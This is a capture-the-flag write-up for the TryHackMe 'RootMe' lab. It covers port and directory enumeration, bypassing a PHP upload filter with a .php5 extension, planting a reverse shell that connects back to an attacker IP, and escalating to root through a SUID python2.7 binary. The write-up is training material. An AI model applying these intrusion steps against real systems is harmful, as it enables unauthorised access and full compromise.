RootMe Writeup - TryHackMe
RootMe is an Easy Linux machine with a vulnerable file upload function on a web application. The attack chain consists of three phases: enumerating the web application, bypassing a file upload filter to plant a reverse shell, and escalating privileges via a misconfigured SUID binary (python2.7) to gain root access.
Enumeration
Starting with a broad port scan across all 65535 ports to avoid missing any service running on a non-standard port.
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
Two open ports: SSH and HTTP. Running a targeted scan against these ports for version info and default scripts.
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 46:41:39:c0:62:fb:77:48:3f:36:d4:ff:7f:c3:9e:27 (RSA) | 256 69:e8:6e:da:3e:1e:53:77:71:d9:2f:5c:c8:25:15:61 (ECDSA) |_ 256 d1:e4:eb:2f:57:a9:f4:9b:6f:98:07:02:89:09:29:46 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: HackIT - Home Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Nmap done: 1 IP address (1 host up) scanned in 8.45 seconds
The web server runs Apache 2.4.41 on Ubuntu. The PHPSESSID cookie confirms the server is running PHP, useful for a potential PHP shell later. SSH has no credentials yet, so the first target is the web application on port 80.
Web Enumeration
The homepage shows a simple "HackIT" page with minimal content. Running directory brute-force to discover hidden paths.
=============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://$TARGET_IP/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /uploads (Status: 301) [Size: 318] [--> http://$TARGET_IP/uploads/] /css (Status: 301) [Size: 314] [--> http://$TARGET_IP/css/] /js (Status: 301) [Size: 313] [--> http://$TARGET_IP/js/] /panel (Status: 301) [Size: 316] [--> http://$TARGET_IP/panel/] /server-status (Status: 403) =============================================================== Finished ===============================================================
Two interesting directories: /panel/ and /uploads/. This is a classic setup for a file upload vulnerability. /panel/ likely hosts an upload form, and /uploads/ is where uploaded files land. If we can upload a PHP file and trigger it via /uploads/, we get code execution on the server.
File Upload
The /panel/ page contains an upload form. Uploading a .php reverse shell directly is blocked by an extension filter. However, Apache can execute several alternative PHP extensions that filters commonly overlook, such as .php5 and .phtml.
The PentestMonkey PHP reverse shell comes pre-installed on Kali. Copy and rename it to bypass the filter:
Edit the attacker IP and port in the file (around line 49):
$ip = '$ATTACKER_IP'; // tun0 IP
$port = 4444;
After uploading via /panel/, the server confirms the upload. The file is now accessible at /uploads/shell.php5.
The bypass worked because the filter only blocks .php but not .php5. Apache treats both as executable PHP.
Initial Access
Set up a listener before triggering the shell:
listening on [any] 4444 ...
Trigger the shell by navigating to http://$TARGET_IP/uploads/shell.php5 in the browser. The connection comes in:
listening on [any] 4444 ... connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 45430 Linux rootme 5.15.0-139-generic #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux 07:54:29 up 30 min, 0 users, load average: 0.00, 0.02, 0.07 uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
Running as www-data. Upgrading to a stable interactive TTY:
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@rootme:/$ ^Z
[1]+ Stopped nc -nlvp 4444
┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg
nc -nlvp 4444
www-data@rootme:/$ export TERM=xterm
Retrieve the user flag:
/var/www/user.txt
$USER_FLAG
Privilege Escalation
Searching for SUID binaries. Files with the SUID bit run with the permissions of their owner (root) rather than the executing user. A misconfigured SUID binary can be abused to spawn a root shell.
/usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/snapd/snap-confine /usr/lib/openssh/ssh-keysign /usr/lib/policykit-1/polkit-agent-helper-1 /usr/bin/newuidmap /usr/bin/newgidmap /usr/bin/chsh /usr/bin/python2.7 /usr/bin/at /usr/bin/chfn /usr/bin/gpasswd /usr/bin/sudo /usr/bin/newgrp /usr/bin/passwd /usr/bin/pkexec /bin/mount /bin/su /bin/fusermount /bin/umount
/usr/bin/python2.7 stands out immediately. An interpreter with SUID is highly unusual. Python with SUID can spawn a shell that preserves the effective UID (root) using the -p flag on the spawned shell.
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
$ROOT_FLAG
euid=0 confirms root access. The -p flag prevents the shell from dropping the effective UID on startup, which is what gives us root.
Key Takeaways
- When an upload filter blocks
.php, always try alternative extensions:.php3,.php4,.php5,.phtml. Apache executes all of these as PHP. - A binary like
python2.7with SUID gives a direct root shell. Always check for unusual SUID binaries withfind / -perm -u=s -type f 2>/dev/nulland look them up on GTFOBins. - Whenever you find an upload form alongside a directory where files are served, code execution via file upload is the first thing to attempt, especially when the server runs PHP.
References
-
Room page
-
GTFOBins: PythonTOOL: GTFOBins: Python, gtfobins.github.io/gtfobins/python/#suid (opens in new tab)
SUID escalation method
-
HackIndex: HTTP/HTTPSLINK: HackIndex: HTTP/HTTPS, hackindex.io/services/http-https (opens in new tab)
Web service enumeration
-
Linux privilege escalation
-
PentestMonkey: PHP Reverse ShellREPO: PentestMonkey: PHP Reverse Shell, github.com/pentestmonkey/php-reverse-shell (opens in new tab)
PHP reverse shell used